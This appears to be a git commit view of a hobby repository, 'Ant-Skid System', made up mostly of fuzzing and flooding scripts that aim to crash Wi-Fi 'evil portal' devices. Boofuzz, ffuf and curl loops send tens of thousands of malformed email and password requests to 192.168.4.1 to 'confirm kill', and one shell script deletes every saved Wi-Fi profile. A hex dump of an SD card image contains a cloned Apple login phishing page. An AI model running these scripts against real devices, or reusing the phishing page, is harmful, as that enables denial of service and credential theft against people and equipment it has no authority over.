initial commit

This commit is contained in:
2024-09-23 19:04:55 -06:00
commit 215d204f7d
56 changed files with 292137 additions and 0 deletions
+4
View File
@@ -0,0 +1,4 @@
# Ant-Skid System: ASS
## pwning marauder and flipper for literally no reason
work in progress, use at your own risk. dangerous shit in here.
![ASS to ASS](https://media1.tenor.com/m/mb_NPI6KZzkAAAAC/ass-to-ass-smile.gif)
+45
View File
@@ -0,0 +1,45 @@
from boofuzz import *
import datetime
import time
def main():
port = 80
# host = '10.0.0.80'
host = '192.168.4.1'
file_tag = 'Marauder-CYD'
# web_interface_listen='0.0.0.0'
web_interface_listen='10.0.0.79'
web_interface_listen_port=26000
currenttime = datetime.datetime.now()
ct = currenttime.strftime("%d%m%Y-%H.%M.%S")
output_filename=f"./boofuzz-results/{file_tag}-{ct}.db"
session_persistsant_filename=f"./boofuzz-results/session-save-{file_tag}-{ct}.dat"
session = Session(
target=Target(connection=TCPSocketConnection(host, port)),
receive_data_after_fuzz=True,
web_address=web_interface_listen,
web_port=web_interface_listen_port,
db_filename=output_filename,
session_filename=session_persistsant_filename,
sleep_time=0.225
)
s_initialize(name="Request")
with s_block("Request-Line"):
s_group("http-method", ["GET", "HEAD", "POST"])
s_static(" ", "space-0")
s_static("/get?email=", name="uri-start")
s_string("email", name="emailvar")
s_static("&password=", name="password")
s_string("password", name="passwordvar")
s_static(" ", "space-1")
s_static("HTTP/1.1", "http-version")
s_static("\r\n\r\n", "Request-CRLF")
session.connect(s_get("Request"))
session.fuzz()
if __name__ == "__main__":
main()
+27
View File
@@ -0,0 +1,27 @@
#!/bin/bash
wifi_device=wlan1
ssid=Guest-WiFi
# password=
# deletei=True
echo "Interface $wifi_device"
echo "Disconnecting"
sudo nmcli d disconnect $wifi_device
if [ ! -z $deletei ]; then
echo "Deleting Wifi Profiles"
sudo nmcli connection show | sudo awk '{system("nmcli connection delete " $1)}'
echo "Sleeping 3 Seconds"
sleep 3
fi
sudo nmcli dev wifi rescan
echo "Connecting to $ssid"
if [ -z $password ]; then
sudo nmcli device wifi connect $ssid ifname $wifi_device
else
sudo nmcli device wifi connect $ssid password $password ifname $wifi_device
fi
ifconfig $wifi_device
+6
View File
@@ -0,0 +1,6 @@
wifi_device=wlan1
echo "Interface $wifi_device"
echo "Disconnecting"
sudo nmcli d disconnect $wifi_device > /dev/null
echo "Deleting Wifi Profiles"
sudo nmcli connection show | sudo awk '{system("nmcli connection delete " $1)}' > /dev/null
+23
View File
@@ -0,0 +1,23 @@
#!/bin/bash
wifi_device=wlan1
ssid=Guest-WiFi
host="192.168.4.1"
wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt
sudo nmcli d disconnect $wifi_device > /dev/null
sudo nmcli dev wifi rescan > /dev/null
echo -e "\nCashing This Evil Portal With No Survivors\n"
sudo nmcli device wifi connect $ssid ifname $wifi_device
echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n"
ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3
echo -e "\n\nPinging To Confirm Kill...\n"
ping -c 4 $host
echo -e "\nThat Was Big Payload (4U)\nRIP"
+18
View File
@@ -0,0 +1,18 @@
import subprocess
# host = "http://192.168.4.1"
host = "http://10.0.0.80"
charlen = 2000
char = "%FF"
curl_cmd = "curl --silent"
payload = char*charlen
uri = f"{host}/get.php?email={payload}&password={payload}"
command = f"{curl_cmd} '{uri}'"
print(f"\nCrashing This Evil Portal With No Survivors Using: {charlen} {char}s\n")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
p_status = p.wait()
print("That's A Big Load (4U)\n\nDone")
+23
View File
@@ -0,0 +1,23 @@
#!/bin/bash
wifi_device=wlan1
ssid=Guest-WiFi
host="192.168.4.1"
wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt
sudo nmcli d disconnect $wifi_device > /dev/null
sudo nmcli dev wifi rescan > /dev/null
echo -e "\nCashing This Evil Portal With No Survivors\n"
sudo nmcli device wifi connect $ssid ifname $wifi_device
echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n"
ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3
echo -e "\n\nPinging To Confirm Kill...\n"
ping -c 4 $host
echo -e "\nThat Was Big Payload (4U)\nRIP"
+7
View File
@@ -0,0 +1,7 @@
ffuf -w Metacharacters.fuzzdb.txt -u "http://172.0.0.1/get?email=FUZZ\&password=%00%00" -H "FUZZ:FUZZ" -mc all -ac -rate 60
curl -i "http://192.168.4.1/get?email=one%00one\&password=two%00two" #-i dumps headers
curl -i --raw "http://192.168.4.1/get?email=one%00one\&password=two`printf \0`two"
ffuf -w /usr/share/wordlists/john.lst -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 60
ffuf -w /usr/share/wordlists/john.lst -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 4 -t 1
ffuf -w /usr/share/wordlists/seclists/Fuzzing/big-list-of-naughty-strings.txt -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 4 -t 1
ffuf -w /usr/share/wordlists/seclists/Fuzzing/big-list-of-naughty-strings.txt -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 4 -t 2
@@ -0,0 +1,3 @@
Chars: %00*1489 - Prepend: - Append:
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+40
View File
@@ -0,0 +1,40 @@
import datetime
import subprocess
import time
# host = "10.0.0.80"
host = "192.168.4.1"
rangei = 65536 # FFFF+1
currenttime = datetime.datetime.now()
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
for x in range(rangei):
hexcode = hex(x)[2:]
if x > 255:
urlformatted_raw = "%{:04x}".format(x)
hexformatted_raw = "0x{:04x}".format(x)
urlformatted = f"{urlformatted_raw[:3]}%{urlformatted_raw[3:]}"
else:
urlformatted_raw = "%{:04x}".format(x)
urlformatted = "%{:02x}".format(x)
hexformatted = "0x{:02x}".format(x)
unicode_formatted = "%u{:04x}".format(x)
printformatted = f"\\x{hexcode}"
print(f"Running {urlformatted} and {urlformatted_raw} and {unicode_formatted}")
p = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted}email&password=password{urlformatted}password' >> fuzzing-results/urlformatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
p1 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted_raw}email&password=password{urlformatted_raw}password' >> fuzzing-results/urlformatted_raw-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
p2 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{unicode_formatted}email&password=password{unicode_formatted}password' >> fuzzing-results/unicode_formatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
(output, err) = p1.communicate()
(output, err) = p2.communicate()
p_status = p.wait()
p_status1 = p1.wait()
p_status2 = p2.wait()
time.sleep(0.225)
print(f"\n\nlog written to fuzzing-results/X-{rangei}-{datestamp}.txt")
+42
View File
@@ -0,0 +1,42 @@
import datetime
import subprocess
import time
host = "http://10.0.0.80"
# host = "http://192.168.4.1"
charlen = 1489
char = "%00"
prepend = ""
append = ""
currenttime = datetime.datetime.now()
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
outfile = f"fuzzing-results/hex-sniper-rifle-{datestamp}.txt"
# -i, --include - include header in output
# -I, --head - HEAD http method
# -s, --silent - supresses progress and errors
# -S, --show-error - when used with -s/--silent, displays errors
# -D <file>, --dump-header <file> - saves response headers to <file>
# -f, --fail - fail silently on HTTP error
# -X, --request - request method, defaults to GET
# -H <header:value>, --header <header:value> - sets header, multiple are allowed
# -v, --verbose - show request headers
# -o <file>, --output <file> - write output to file
# curl_cmd = "curl -i -s -S -v"
curl_cmd = "curl --include --silent --show-error"
chars = char*charlen
payload = f"{prepend}{chars}{append}"
uri = f"{host}/get.php?email={payload}&password=holdstill"
command = f"{curl_cmd} '{uri}' >> {outfile}"
print(f"\n\nRunning {char}*{charlen} on email\nPrepend: {prepend}\nAppend: {append}\nOutfile: {outfile}")
with open(outfile, "a") as log:
log.write(f"\n\nChars: {char}*{charlen} - Prepend: {prepend} - Append: {append}\n")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
p_status = p.wait()
print(f"\n\nlog written to {outfile}")
+45
View File
@@ -0,0 +1,45 @@
import datetime
import subprocess
import time
# host = "http://10.0.0.80"
host = "http://192.168.4.1"
rangei = 10000
char = "X"
# char = "%00"
prepend = ""
append = ""
#append = "%0a%00%0a"
currenttime = datetime.datetime.now()
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
outfile = f"fuzzing-results/chars-{rangei}-{datestamp}.txt"
# -i, --include - include header in output
# -I, --head - HEAD http method
# -s, --silent - supresses progress and errors
# -S, --show-error - when used with -s/--silent, displays errors
# -D <file>, --dump-header <file> - saves response headers to <file>
# -f, --fail - fail silently on HTTP error
# -X, --request - request method, defaults to GET
# -H <header:value>, --header <header:value> - sets header, multiple are allowed
# -v, --verbose - show request headers
# -o <file>, --output <file> - write output to file
# curl_cmd = "curl -i -s -S -v"
curl_cmd = "curl --include --silent --show-error"
for x in range(rangei+1):
chars = char*x
payload = f"{prepend}{chars}{append}"
uri = f"{host}/get?email={payload}&password={payload}"
command = f"{curl_cmd} '{uri}' >> {outfile}"
print(f"Running {x}/{rangei} chars ({char})\n\tPrepend: {prepend}\n\tAppend: {append}\n\Outfile: {outfile}\n")
with open(outfile, "a") as log:
log.write(f"\n\n{x}/{rangei} - Char: {char} - Prepend: {prepend} - Append: {append}\n")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
p_status = p.wait()
print(f"\n\nlog written to {outfile}")
+1
View File
@@ -0,0 +1 @@
source boofuzz/env/bin/activate
+24
View File
@@ -0,0 +1,24 @@
import subprocess
import os
# from requests.utils import requote_uri
import urllib.parse
from random import randbytes
host = "http://192.168.4.1"
# host = "http://10.0.0.80"
rangei = 10000
# charlen = 4*400
charlen = 128
curl_cmd = "curl --include --silent --show-error"
for x in range(rangei+1):
payload = urllib.parse.quote(randbytes(charlen))
uri = f"{host}/get?email={payload}&password={payload}"
command = f"{curl_cmd} '{uri}'"
print(f"{x} of {rangei} sets of {charlen} random bytes")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
p_status = p.wait()
print(f"\n\nThe End")
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,782 @@
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000001b0 00 00 00 00 00 00 00 00 63 3c 17 a3 00 00 00 00 |........c<......|
000001c0 01 01 0b 3f e0 ff 00 08 00 00 00 58 9c 03 00 00 |...?.......X....|
000001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
00000200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00100000 eb 58 90 6d 6b 66 73 2e 66 61 74 00 02 20 20 00 |.X.mkfs.fat.. .|
00100010 02 00 00 00 00 f8 00 00 20 00 40 00 00 08 00 00 |........ .@.....|
00100020 00 58 9c 03 c0 39 00 00 00 00 00 00 02 00 00 00 |.X...9..........|
00100030 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00100040 80 00 29 de d6 9c 88 4d 41 52 41 55 44 45 52 53 |..)....MARAUDERS|
00100050 44 20 46 41 54 33 32 20 20 20 0e 1f be 77 7c ac |D FAT32 ...w|.|
00100060 22 c0 74 0b 56 b4 0e bb 07 00 cd 10 5e eb f0 32 |".t.V.......^..2|
00100070 e4 cd 16 cd 19 eb fe 54 68 69 73 20 69 73 20 6e |.......This is n|
00100080 6f 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 64 69 |ot a bootable di|
00100090 73 6b 2e 20 20 50 6c 65 61 73 65 20 69 6e 73 65 |sk. Please inse|
001000a0 72 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 66 6c |rt a bootable fl|
001000b0 6f 70 70 79 20 61 6e 64 0d 0a 70 72 65 73 73 20 |oppy and..press |
001000c0 61 6e 79 20 6b 65 79 20 74 6f 20 74 72 79 20 61 |any key to try a|
001000d0 67 61 69 6e 20 2e 2e 2e 20 0d 0a 00 00 00 00 00 |gain ... .......|
001000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
001001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
00100200 52 52 61 41 00 00 00 00 00 00 00 00 00 00 00 00 |RRaA............|
00100210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
001003e0 00 00 00 00 72 72 41 61 1e df 1c 00 06 00 00 00 |....rrAa........|
001003f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
00100400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00100c00 eb 58 90 6d 6b 66 73 2e 66 61 74 00 02 20 20 00 |.X.mkfs.fat.. .|
00100c10 02 00 00 00 00 f8 00 00 20 00 40 00 00 08 00 00 |........ .@.....|
00100c20 00 58 9c 03 c0 39 00 00 00 00 00 00 02 00 00 00 |.X...9..........|
00100c30 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00100c40 80 00 29 de d6 9c 88 4d 41 52 41 55 44 45 52 53 |..)....MARAUDERS|
00100c50 44 20 46 41 54 33 32 20 20 20 0e 1f be 77 7c ac |D FAT32 ...w|.|
00100c60 22 c0 74 0b 56 b4 0e bb 07 00 cd 10 5e eb f0 32 |".t.V.......^..2|
00100c70 e4 cd 16 cd 19 eb fe 54 68 69 73 20 69 73 20 6e |.......This is n|
00100c80 6f 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 64 69 |ot a bootable di|
00100c90 73 6b 2e 20 20 50 6c 65 61 73 65 20 69 6e 73 65 |sk. Please inse|
00100ca0 72 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 66 6c |rt a bootable fl|
00100cb0 6f 70 70 79 20 61 6e 64 0d 0a 70 72 65 73 73 20 |oppy and..press |
00100cc0 61 6e 79 20 6b 65 79 20 74 6f 20 74 72 79 20 61 |any key to try a|
00100cd0 67 61 69 6e 20 2e 2e 2e 20 0d 0a 00 00 00 00 00 |gain ... .......|
00100ce0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00100df0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
00100e00 52 52 61 41 00 00 00 00 00 00 00 00 00 00 00 00 |RRaA............|
00100e10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00100fe0 00 00 00 00 72 72 41 61 22 df 1c 00 02 00 00 00 |....rrAa".......|
00100ff0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
00101000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00104000 f8 ff ff 0f ff ff ff 0f f8 ff ff 0f ff ff ff 0f |................|
00104010 ff ff ff 0f ff ff ff 0f ff ff ff 0f 00 00 00 00 |................|
00104020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
0083c000 f8 ff ff 0f ff ff ff 0f f8 ff ff 0f ff ff ff 0f |................|
0083c010 ff ff ff 0f ff ff ff 0f ff ff ff 0f 00 00 00 00 |................|
0083c020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00f74000 4d 41 52 41 55 44 45 52 53 44 20 08 00 00 2e 69 |MARAUDERSD ....i|
00f74010 37 59 37 59 00 00 2e 69 37 59 00 00 00 00 00 00 |7Y7Y...i7Y......|
00f74020 53 43 52 49 50 54 53 20 20 20 20 10 00 00 00 00 |SCRIPTS .....|
00f74030 00 00 00 00 00 00 02 00 21 00 03 00 00 00 00 00 |........!.......|
00f74040 41 61 00 70 00 70 00 6c 00 65 00 0f 00 c2 2e 00 |Aa.p.p.l.e......|
00f74050 68 00 74 00 6d 00 6c 00 00 00 00 00 ff ff ff ff |h.t.m.l.........|
00f74060 41 50 50 4c 45 7e 31 20 48 54 4d 20 00 82 8b 69 |APPLE~1 HTM ...i|
00f74070 37 59 37 59 00 00 8b 69 37 59 04 00 ae 26 00 00 |7Y7Y...i7Y...&..|
00f74080 41 61 00 70 00 2e 00 63 00 6f 00 0f 00 e6 6e 00 |Aa.p...c.o....n.|
00f74090 66 00 69 00 67 00 2e 00 74 00 00 00 78 00 74 00 |f.i.g...t...x.t.|
00f740a0 41 50 43 4f 4e 46 7e 31 54 58 54 20 00 8f 9b 69 |APCONF~1TXT ...i|
00f740b0 37 59 37 59 00 00 9b 69 37 59 05 00 0a 00 00 00 |7Y7Y...i7Y......|
00f740c0 42 2e 00 6c 00 6f 00 67 00 00 00 0f 00 db ff ff |B..l.o.g........|
00f740d0 ff ff ff ff ff ff ff ff ff ff 00 00 ff ff ff ff |................|
00f740e0 01 65 00 76 00 69 00 6c 00 5f 00 0f 00 db 70 00 |.e.v.i.l._....p.|
00f740f0 6f 00 72 00 74 00 61 00 6c 00 00 00 5f 00 30 00 |o.r.t.a.l..._.0.|
00f74100 45 56 49 4c 5f 50 7e 31 4c 4f 47 20 00 00 24 00 |EVIL_P~1LOG ..$.|
00f74110 21 00 37 59 00 00 68 00 21 00 06 00 c0 03 00 00 |!.7Y..h.!.......|
00f74120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00f78000 2e 20 20 20 20 20 20 20 20 20 20 10 00 00 00 00 |. .....|
00f78010 00 00 00 00 00 00 02 00 21 00 03 00 00 00 00 00 |........!.......|
00f78020 2e 2e 20 20 20 20 20 20 20 20 20 10 00 00 00 00 |.. .....|
00f78030 00 00 00 00 00 00 02 00 21 00 00 00 00 00 00 00 |........!.......|
00f78040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00f7c000 3c 21 2d 2d 20 4f 72 69 67 69 6e 61 6c 20 63 6f |<!-- Original co|
00f7c010 64 65 20 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 |de : https://git|
00f7c020 68 75 62 2e 63 6f 6d 2f 61 69 2d 64 65 76 2d 6f |hub.com/ai-dev-o|
00f7c030 66 66 69 63 69 61 6c 2f 41 70 70 6c 65 2d 44 65 |fficial/Apple-De|
00f7c040 76 2d 4c 6f 67 69 6e 2d 50 61 67 65 2d 20 62 79 |v-Login-Page- by|
00f7c050 20 61 69 2d 64 65 76 2d 6f 66 66 69 63 69 61 6c | ai-dev-official|
00f7c060 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 45 64 69 74 65 | -->..<!-- Edite|
00f7c070 64 20 61 6e 64 20 61 64 61 70 74 65 64 20 62 79 |d and adapted by|
00f7c080 20 3a 20 4a 75 6c 65 73 30 38 33 35 20 66 6f 72 | : Jules0835 for|
00f7c090 20 65 64 75 63 61 74 69 6f 6e 61 6c 20 70 75 72 | educational pur|
00f7c0a0 70 6f 73 65 73 20 2d 2d 3e 0d 0a 0d 0a 3c 21 44 |poses -->....<!D|
00f7c0b0 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 |OCTYPE html>..<h|
00f7c0c0 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a |tml lang="en">..|
00f7c0d0 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 |..<head>.. <t|
00f7c0e0 69 74 6c 65 3e 4c 6f 67 69 6e 20 2d 20 41 70 70 |itle>Login - App|
00f7c0f0 6c 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 |le</title>.. |
00f7c100 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 |<meta name="view|
00f7c110 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 |port" content="w|
00f7c120 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 |idth=device-widt|
00f7c130 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 |h, initial-scale|
00f7c140 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 73 74 79 |=1.0">.. <sty|
00f7c150 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 |le>.. .. |
00f7c160 20 20 20 20 20 20 20 2a 20 7b 0d 0a 20 20 20 20 | * {.. |
00f7c170 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 | box-sizi|
00f7c180 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d |ng: border-box;.|
00f7c190 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 |. mar|
00f7c1a0 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 |gin: 0;.. |
00f7c1b0 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b | padding: 0;|
00f7c1c0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 |.. li|
00f7c1d0 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0d |st-style: none;.|
00f7c1e0 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 |. tex|
00f7c1f0 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f |t-decoration: no|
00f7c200 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a |ne;.. }..|
00f7c210 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b |.. body {|
00f7c220 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f |.. fo|
00f7c230 6e 74 2d 66 61 6d 69 6c 79 3a 20 53 46 20 50 72 |nt-family: SF Pr|
00f7c240 6f 20 54 65 78 74 2c 20 53 46 20 50 72 6f 20 49 |o Text, SF Pro I|
00f7c250 63 6f 6e 73 2c 20 48 65 6c 76 65 74 69 63 61 20 |cons, Helvetica |
00f7c260 4e 65 75 65 2c 20 48 65 6c 76 65 74 69 63 61 2c |Neue, Helvetica,|
00f7c270 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 | Arial, sans-ser|
00f7c280 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |if;.. |
00f7c290 20 63 6f 6c 6f 72 3a 20 23 39 38 39 38 39 63 3b | color: #98989c;|
00f7c2a0 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 |.. }.... |
00f7c2b0 20 20 20 20 20 20 20 68 65 61 64 65 72 20 7b 0d | header {.|
00f7c2c0 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 |. pad|
00f7c2d0 64 69 6e 67 3a 20 35 70 78 3b 0d 0a 20 20 20 20 |ding: 5px;.. |
00f7c2e0 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 | margin: |
00f7c2f0 31 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d |10px;.. }|
00f7c300 0d 0a 0d 0a 20 20 20 20 20 20 20 20 68 65 61 64 |.... head|
00f7c310 65 72 20 73 76 67 20 7b 0d 0a 20 20 20 20 20 20 |er svg {.. |
00f7c320 20 20 20 20 20 20 77 69 64 74 68 3a 20 32 35 70 | width: 25p|
00f7c330 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |x;.. |
00f7c340 68 65 69 67 68 74 3a 20 32 35 70 78 3b 0d 0a 20 |height: 25px;.. |
00f7c350 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 | }.... |
00f7c360 20 20 20 20 2e 6d 61 69 6e 20 7b 0d 0a 20 20 20 | .main {.. |
00f7c370 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f | positio|
00f7c380 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 |n: relative;.. |
00f7c390 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 | displa|
00f7c3a0 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 20 20 |y: flex;.. |
00f7c3b0 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f | justify-co|
00f7c3c0 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0d 0a |ntent: center;..|
00f7c3d0 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 | alig|
00f7c3e0 6e 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 |n-content: cente|
00f7c3f0 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |r;.. |
00f7c400 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e |align-items: cen|
00f7c410 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 |ter;.. |
00f7c420 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 38 35 | min-height: 85|
00f7c430 76 68 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a |vh;.. }..|
00f7c440 0d 0a 20 20 20 20 20 20 20 20 66 6f 72 6d 20 7b |.. form {|
00f7c450 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 |.. wi|
00f7c460 64 74 68 3a 20 35 30 30 70 78 3b 0d 0a 20 20 20 |dth: 500px;.. |
00f7c470 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 | display|
00f7c480 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 20 20 20 |: flex;.. |
00f7c490 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 | flex-direct|
00f7c4a0 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 |ion: column;.. |
00f7c4b0 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d | align-|
00f7c4c0 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a |items: center;..|
00f7c4d0 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 |.. }.... |
00f7c4e0 20 20 20 20 20 20 20 23 73 69 67 6e 20 68 32 20 | #sign h2 |
00f7c4f0 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 |{.. t|
00f7c500 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 |ext-align: cente|
00f7c510 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |r;.. |
00f7c520 6d 61 72 67 69 6e 3a 20 35 70 78 20 61 75 74 6f |margin: 5px auto|
00f7c530 20 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 | 0px;.. |
00f7c540 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 32 | font-size: 22|
00f7c550 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |px;.. |
00f7c560 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e | line-height: 1.|
00f7c570 34 37 30 35 39 3b 0d 0a 20 20 20 20 20 20 20 20 |47059;.. |
00f7c580 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a | font-weight:|
00f7c590 20 34 30 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 | 400;.. |
00f7c5a0 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e | letter-spacin|
00f7c5b0 67 3a 20 2d 2e 30 32 32 65 6d 3b 0d 0a 20 20 20 |g: -.022em;.. |
00f7c5c0 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 | font-fa|
00f7c5d0 6d 69 6c 79 3a 20 53 46 20 50 72 6f 20 54 65 78 |mily: SF Pro Tex|
00f7c5e0 74 2c 20 53 46 20 50 72 6f 20 49 63 6f 6e 73 2c |t, SF Pro Icons,|
00f7c5f0 20 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c | Helvetica Neue,|
00f7c600 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 | Helvetica, Aria|
00f7c610 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a |l, sans-serif;..|
00f7c620 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f | colo|
00f7c630 72 3a 20 23 36 35 36 35 36 39 3b 0d 0a 20 20 20 |r: #656569;.. |
00f7c640 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 | }.... |
00f7c650 20 20 23 69 6e 70 75 74 54 65 78 74 20 7b 0d 0a | #inputText {..|
00f7c660 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 | marg|
00f7c670 69 6e 3a 20 35 70 78 20 30 20 38 30 70 78 20 30 |in: 5px 0 80px 0|
00f7c680 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a |;.. }....|
00f7c690 20 20 20 20 20 20 20 20 23 61 70 70 6c 65 69 64 | #appleid|
00f7c6a0 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 | {.. |
00f7c6b0 6d 69 6e 2d 77 69 64 74 68 3a 20 33 35 30 70 78 |min-width: 350px|
00f7c6c0 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 |;.. p|
00f7c6d0 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0d 0a 20 |adding: 20px;.. |
00f7c6e0 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 | borde|
